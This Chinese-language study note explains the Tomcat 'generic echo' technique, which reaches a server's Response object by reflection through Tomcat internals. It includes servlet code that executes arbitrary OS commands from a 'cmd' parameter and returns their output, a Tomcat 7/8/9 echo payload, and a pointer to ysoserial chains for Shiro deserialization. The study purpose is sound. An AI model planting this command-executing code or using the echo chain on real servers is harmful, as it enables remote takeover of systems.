Tomcat通用回显学习
Tomcat通用回显学习
1、前置知识
1.1、正常的命令执行回显
整体流程就是通过request
对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为InputStream
,通过response
对象的方法输出命令执行的结果,从而在页面获得回显
搭建环境
创建maven项目,导入依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>tomcatEcho1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<tomcat.version>8.5.78</tomcat.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>${tomcat.version}</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
<version>${tomcat.version}</version>
</dependency>
</dependencies>
</project>
添加web框架依赖
添加tomcat环境
编写controller层,创建servlet
package controller;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
String name = System.getProperty("os.name");
String cmd = request.getParameter("cmd");
String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] buf = new byte[1024];
int len = 0;
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
PrintWriter writer = response.getWriter();
writer.write(new String(out.toByteArray()));
writer.flush();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
}
所以我们需要找到需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程
2、不适用Tomcat7的回显方式
2.1、回显分析
主要通过Litch1的文章学习,传送门。
我们随便在springboot中打个断点,看看堆栈,根据师傅文章得知为Http11Processor的父类(AbstractProcessor)存储了Request和Response,且为final修饰,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response,我们先来org.apache.coyote.http11.Http11Processor
.
可以看到此时request里面已经初始化好了,我们继续向前回溯,看看其定义
可以看到在AbstractProcessor
中定义了,并且是protected和final修饰,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,他是在那里初始化的呢
可以看到是在构造方法中赋值的,但是该构造方法为protecd修饰,需要调用重载的pubic方法去实现,所以子类可以调用该方法实例化request和response
我们看到Http11Processor通过调用父类的构造方法,获取request和response
而且Http11Processor怎么获取request和response,我们可以通过Http11Processor的getRequest方法获取request
而在Request类中,可以通过getResponse获取response。
最后通过response
类的doWrite()
方法,写进内容,返回给前端
前面挖掘部分说了,获取了Http11Processor
实例后,就可以获取request
,也就可以获取response
,我们的目的也达成了,但是如何来获取Http11Processor
实例或者Http11Processor request、response
的变量呢
继续向前分析,看什么时候出现了Http11Processor
类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process
这个函数中
是在704行通过this.getProtocol().createProcessor()
创建的,然后通过register方法注册,跟进去看看
发现RequestInfo里面有req,然后就可以获取response。
rp.req.getResponse()
然后通过setGlobalProcessor
把RequestInfo
放到this.global
里,那个这个this.global
是什么呢?是一个RequestGroupInfo实例对象
我们也跟进setGlobalProcessor
去看看,看到this.global,调用addRequestProcessor增加this(RequestInfo),继续跟进去
我们可以看到把他增加到 this.global(RequestInfo)的List
所以我们就要获取global
global
变量是AbstractProtocol
静态内部类ConnectionHandler
的成员变量,不是static静态变量,因此我们还需要找存储AbstractProtocol
类或AbstractProtocol
子类。
现在的利用链为
AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
看到他的子类(Navigate-->Type Hierarchy)
分析继承关系,发现它有子类Http11NioProtocol
,所以如果我们获取到这个类,那么也能获取到globa
Tomcat初始化StandardService时,会启动Container、Executor、mapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中
继续分析调用栈,发现存在这个
org.apache.catalina.connector.CoyoteAdapter#connector
的protocolHandler
属性
可以看到使用Evaluate确实可以获取response
((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) ((Connector)((CoyoteAdapter)this).connector).protocolHandler).handler).global.processors.get(0).req.getResponse()
所以现在的思路是如何获取到这个connector
,新的利用链
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并在org.apache.catalina.startup.Tomcat
的setConnector通过org.apache.catalina.core.StandardService#addConnector
存放在connectors
中
然后通过org.apache.catalina.core.StandardService#initInternal
进行初始化
因为先添加了再初始化,所以这个时要获取connectors
,可以通过org.apache.catalina.core.StandardService
来获取
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
现在就是如何获取StandardService了。
tomcat的类加载机制
双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
通过Thread.currentThread().getContextClassLoader()
来获取当前线程的ClassLoader
,再去寻找StandardService
在resources-->context-->context-->service
所以最终的调用链(Thread.currentThread().getContextClassLoader()==WebAppClassLoader)
Thread.currentThread().getContextClassLoader()-->resources-->context-->context-->service-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
2.2、构造代码
package controller;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
//获取standardContext上下文
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
try {
//获取StandardContext中的context
//获取ApplicationContext上下文,因为ApplicationContext是protect修饰
// 反射获取StandardContext中的context
Field context = standardContext.getClass().getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
// 反射获取context中的service
Field service = applicationContext.getClass().getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
// 反射获取service中的connectors
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
// 反射获取 AbstractProtocol$ConnectoinHandler 实例
ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handler.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
// 反射获取global内部的processors
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
processors.setAccessible(true);
ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
// 获取response修改数据
// 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
Field req = RequestInfo.class.getDeclaredField("req");
req.setAccessible(true);
for (org.apache.coyote.RequestInfo requestInfo : processors1) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
// 转换为 org.apache.catalina.connector.Request 类型
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
org.apache.catalina.connector.Response response1 = request2.getResponse();
// 获取参数
PrintWriter writer = response1.getWriter();
String name = System.getProperty("os.name");
String cmd = request.getParameter("cmd");
String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
byte[] buf = new byte[1024];
int len = 0;
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
}
writer.write(new String(out.toByteArray()));
writer.flush();
}
} catch (NoSuchFieldException | IllegalAccessException | IOException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
}
2.3、坑点
tomcat的小版本有限制
主要原因是
本人在tomcat9.0.56、 8.5.47才成功的
3、Tomcat7/8/9全版本通用回显方式
3.1、分析
原因是Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败
新的利用链
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
通过Thread.currentThread().getThreadGroup()
遍历线程得到NioEndpoint$Poller
的父类NioEndpoint
,然后再通过获取其父类 NioEndpoint
进而获取AbstractProtocol$ConnectoinHandler(handler)>>global-> processors->request
路径:
-
通过
Thread.currentThread().getThreadGroup()
获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint(thread-->target) -
通过NioEndpoint获取
AbstractProtocol$ConnectoinHandler
(thread-->target->this$0) -
获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,(thread-->target->this$0->handler->global)
-
然后再利用反射获取 gloabl 中的 processors 属性
-
然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
3.2、构造payload
package controller;
import org.apache.coyote.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;
@WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet")
public class Tomcat7Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
boolean flag=false;
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for(int i=0;i< threads.length;i++){
Thread thread=threads[i];
String threadName=thread.getName();
try{
Object target= getField(thread,"target");
Object this0=getField(target,"this$0");
Object handler=getField(this0,"handler");
Object global=getField(handler,"global");
ArrayList processors=(ArrayList) getField(global,"processors");
for (int j = 0; j < processors.size(); j++) {
RequestInfo requestInfo = (RequestInfo) processors.get(j);
if(requestInfo!=null){
Request req=(Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
org.apache.catalina.connector.Response response1 =request1.getResponse();
Writer writer=response.getWriter();
writer.flush();
writer.write("TomcatEcho");
flag=true;
if(flag){
break;
}
}
}
}catch (Exception e){
e.printStackTrace();
}
if(flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field field=null;
Class clas=obj.getClass();
while(clas!=Object.class){
try{
field=clas.getDeclaredField(fieldName);
break;
}catch (NoSuchFieldException e){
clas=clas.getSuperclass();
}
}
if (field!=null){
field.setAccessible(true);
return field.get(obj);
}else{
throw new NoSuchFieldException(fieldName);
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
4、shiro利用
已经有大佬给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用
https://github.com/zema1/ysoserial/releases
5、结束
其实本篇就是学习大佬们回显的思路,学习怎么看懂它,学习一下其中挖掘的思路,基本上都是按着大佬们的步骤一步步的复现。
参考
https://sp4zcmd.github.io/2021/10/27/Tomcat通用回显学习笔记/
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/